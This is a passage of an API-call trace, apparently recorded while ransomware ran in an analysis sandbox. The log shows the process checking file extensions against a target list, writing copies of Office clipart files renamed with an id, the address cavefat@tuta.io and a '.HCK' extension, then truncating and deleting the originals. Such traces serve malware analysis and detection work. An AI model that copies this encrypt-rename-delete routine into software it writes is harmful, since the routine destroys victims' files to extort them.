lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".zip") returned 4 [0170.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.097] lstrlenW (lpString=".rar") returned 4 [0170.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString=".bz2") returned 4 [0170.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString=".7z") returned 3 [0170.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".dbf") returned 4 [0170.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".1cd") returned 4 [0170.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".jpg") returned 4 [0170.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.098] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.098] lstrlenW (lpString="J0187861.WMF") returned 12 [0170.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.101] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9108) returned 1 [0170.101] CloseHandle (hObject=0x38c) returned 1 [0170.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 0x220 [0170.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.109] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.109] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.115] GetLastError () returned 0x0 [0170.115] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2394, lpOverlapped=0x0) returned 1 [0170.118] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x23a0, lpOverlapped=0x0) returned 1 [0170.118] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.118] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.119] SetEndOfFile (hFile=0x38c) returned 1 [0170.120] CloseHandle (hObject=0x38c) returned 1 [0170.121] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.121] SetEndOfFile (hFile=0x360) returned 1 [0170.125] CloseHandle (hObject=0x360) returned 1 [0170.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 1 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.132] lstrlenW (lpString=".doc") returned 4 [0170.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString=".docx") returned 5 [0170.132] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.132] lstrlenW (lpString=".pdf") returned 4 [0170.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString=".xls") returned 4 [0170.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.132] lstrlenW (lpString=".xlsx") returned 5 [0170.132] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.132] lstrlenW (lpString=".ppt") returned 4 [0170.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.132] lstrlenW (lpString=".zip") returned 4 [0170.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.132] lstrlenW (lpString=".rar") returned 4 [0170.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString=".bz2") returned 4 [0170.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString=".7z") returned 3 [0170.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.132] lstrlenW (lpString=".dbf") returned 4 [0170.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.132] lstrlenW (lpString=".1cd") returned 4 [0170.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.132] lstrlenW (lpString=".jpg") returned 4 [0170.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.132] lstrlenW (lpString=".doc") returned 4 [0170.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString=".docx") returned 5 [0170.132] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.132] lstrlenW (lpString=".pdf") returned 4 [0170.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.132] lstrlenW (lpString=".xls") returned 4 [0170.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.133] lstrlenW (lpString=".xlsx") returned 5 [0170.133] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.133] lstrlenW (lpString=".ppt") returned 4 [0170.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.133] lstrlenW (lpString=".zip") returned 4 [0170.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.133] lstrlenW (lpString=".rar") returned 4 [0170.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.133] lstrlenW (lpString=".bz2") returned 4 [0170.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.133] lstrlenW (lpString=".7z") returned 3 [0170.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.133] lstrlenW (lpString=".dbf") returned 4 [0170.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.133] lstrlenW (lpString=".1cd") returned 4 [0170.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0170.133] lstrlenW (lpString=".jpg") returned 4 [0170.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.133] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.133] lstrlenW (lpString="J0187895.WMF") returned 12 [0170.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0170.144] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3472) returned 1 [0170.144] CloseHandle (hObject=0x394) returned 1 [0170.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 0x220 [0170.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.153] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.153] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.161] GetLastError () returned 0x0 [0170.161] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd90, lpOverlapped=0x0) returned 1 [0170.163] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xda0, lpOverlapped=0x0) returned 1 [0170.164] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.164] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.164] SetEndOfFile (hFile=0x3ac) returned 1 [0170.167] CloseHandle (hObject=0x3ac) returned 1 [0170.170] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.170] SetEndOfFile (hFile=0x2ec) returned 1 [0170.178] CloseHandle (hObject=0x2ec) returned 1 [0170.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 1 [0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.187] lstrlenW (lpString=".doc") returned 4 [0170.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString=".docx") returned 5 [0170.187] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.187] lstrlenW (lpString=".pdf") returned 4 [0170.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString=".xls") returned 4 [0170.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.187] lstrlenW (lpString=".xlsx") returned 5 [0170.187] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.187] lstrlenW (lpString=".ppt") returned 4 [0170.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.187] lstrlenW (lpString=".zip") returned 4 [0170.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.187] lstrlenW (lpString=".rar") returned 4 [0170.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString=".bz2") returned 4 [0170.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString=".7z") returned 3 [0170.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.187] lstrlenW (lpString=".dbf") returned 4 [0170.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.187] lstrlenW (lpString=".1cd") returned 4 [0170.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.187] lstrlenW (lpString=".jpg") returned 4 [0170.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.187] lstrlenW (lpString=".doc") returned 4 [0170.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString=".docx") returned 5 [0170.187] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.187] lstrlenW (lpString=".pdf") returned 4 [0170.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.187] lstrlenW (lpString=".xls") returned 4 [0170.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.188] lstrlenW (lpString=".xlsx") returned 5 [0170.188] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.188] lstrlenW (lpString=".ppt") returned 4 [0170.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.188] lstrlenW (lpString=".zip") returned 4 [0170.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.188] lstrlenW (lpString=".rar") returned 4 [0170.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.188] lstrlenW (lpString=".bz2") returned 4 [0170.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.188] lstrlenW (lpString=".7z") returned 3 [0170.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.188] lstrlenW (lpString=".dbf") returned 4 [0170.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.188] lstrlenW (lpString=".1cd") returned 4 [0170.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0170.188] lstrlenW (lpString=".jpg") returned 4 [0170.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.188] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.188] lstrlenW (lpString="J0188519.WMF") returned 12 [0170.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.194] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5824) returned 1 [0170.194] CloseHandle (hObject=0x370) returned 1 [0170.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 0x220 [0170.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.205] GetLastError () returned 0x0 [0170.205] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x16c0, lpOverlapped=0x0) returned 1 [0170.210] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0170.211] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.211] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.211] SetEndOfFile (hFile=0x2ec) returned 1 [0170.214] CloseHandle (hObject=0x2ec) returned 1 [0170.215] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.215] SetEndOfFile (hFile=0x364) returned 1 [0170.220] CloseHandle (hObject=0x364) returned 1 [0170.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 1 [0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.226] lstrlenW (lpString=".doc") returned 4 [0170.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString=".docx") returned 5 [0170.226] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.226] lstrlenW (lpString=".pdf") returned 4 [0170.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString=".xls") returned 4 [0170.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.226] lstrlenW (lpString=".xlsx") returned 5 [0170.226] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.226] lstrlenW (lpString=".ppt") returned 4 [0170.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.226] lstrlenW (lpString=".zip") returned 4 [0170.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.226] lstrlenW (lpString=".rar") returned 4 [0170.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString=".bz2") returned 4 [0170.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString=".7z") returned 3 [0170.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.226] lstrlenW (lpString=".dbf") returned 4 [0170.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.226] lstrlenW (lpString=".1cd") returned 4 [0170.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.226] lstrlenW (lpString=".jpg") returned 4 [0170.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.226] lstrlenW (lpString=".doc") returned 4 [0170.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString=".docx") returned 5 [0170.226] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.226] lstrlenW (lpString=".pdf") returned 4 [0170.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.226] lstrlenW (lpString=".xls") returned 4 [0170.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.226] lstrlenW (lpString=".xlsx") returned 5 [0170.226] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.227] lstrlenW (lpString=".ppt") returned 4 [0170.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0170.227] lstrlenW (lpString=".zip") returned 4 [0170.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.227] lstrlenW (lpString=".rar") returned 4 [0170.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.227] lstrlenW (lpString=".bz2") returned 4 [0170.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.227] lstrlenW (lpString=".7z") returned 3 [0170.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.227] 